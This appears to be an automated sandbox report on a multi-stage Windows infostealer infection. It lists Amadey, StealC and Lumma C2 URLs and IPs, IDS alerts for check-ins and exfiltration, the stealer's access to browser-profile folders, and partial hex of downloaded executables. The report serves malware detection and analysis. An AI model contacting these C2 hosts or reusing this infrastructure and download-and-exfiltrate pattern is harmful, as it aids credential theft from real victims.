2024-11-23T11:22:43.342444+0100	2803304	3	Unknown Traffic	192.168.2.4	49836	185.215.113.206	80	TCP
2024-11-23T11:23:02.122107+0100	2803304	3	Unknown Traffic	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:04.217511+0100	2803304	3	Unknown Traffic	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:05.678601+0100	2803304	3	Unknown Traffic	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:06.960169+0100	2803304	3	Unknown Traffic	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:10.674189+0100	2803304	3	Unknown Traffic	192.168.2.4	49907	185.215.113.206	80	TCP
2024-11-23T11:23:11.880923+0100	2803304	3	Unknown Traffic	192.168.2.4	49907	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/nss3.dllll	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpR%	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpZc	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/ZT	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllz?	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpb%/	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php~b	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpox	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000003.1703329392.0000000004970000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 22a4a09ee3.exe.5272.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 50%			Perma Link
Source: file.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_77a536a2-2

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49952 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: nss3.pdb@ source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: nss3.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: mozglue.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp

Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash14220\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 0MB later: 40MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 190MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49788 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49809 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49835 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49836
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49836
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49857 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49864 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49881 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49916 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50004 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49815 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49815 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49834 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49856 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49856 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49821 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49821 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49893 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:09 GMTContent-Type: application/octet-streamContent-Length: 4395520Last-Modified: Sat, 23 Nov 2024 10:15:30 GMTConnection: keep-aliveETag: "6741ab42-431200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 00 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 c5 00 00 04 00 00 fe 13 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ef c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ef c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 74 77 63 62 74 77 00 60 1b 00 00 90 a9 00 00 60 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6d 61 63 73 77 7a 65 00 10 00 00 00 f0 c4 00 00 04 00 00 00 ec 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 c5 00 00 22 00 00 00 f0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:22 GMTContent-Type: application/octet-streamContent-Length: 1824256Last-Modified: Sat, 23 Nov 2024 10:19:24 GMTConnection: keep-aliveETag: "6741ac2c-1bd600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 60 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 48 00 00 04 00 00 6c 12 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6b 6f 69 64 6e 7a 66 00 40 19 00 00 10 2f 00 00 38 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 67 64 62 6c 74 6a 73 00 10 00 00 00 50 48 00 00 04 00 00 00 b0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 48 00 00 22 00 00 00 b4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:30 GMTContent-Type: application/octet-streamContent-Length: 1814016Last-Modified: Sat, 23 Nov 2024 10:19:31 GMTConnection: keep-aliveETag: "6741ac33-1bae00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 60 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 69 00 00 04 00 00 70 a2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6c 78 61 78 72 67 6c 00 10 1a 00 00 40 4f 00 00 10 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 62 73 71 77 6e 73 74 00 10 00 00 00 50 69 00 00 04 00 00 00 88 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 69 00 00 22 00 00 00 8c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:39 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Sat, 23 Nov 2024 10:17:39 GMTConnection: keep-aliveETag: "6741abc3-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bb ab 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 3e fc 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 fc aa 00 00 00 00 00 00 00 00 00 00 00 00 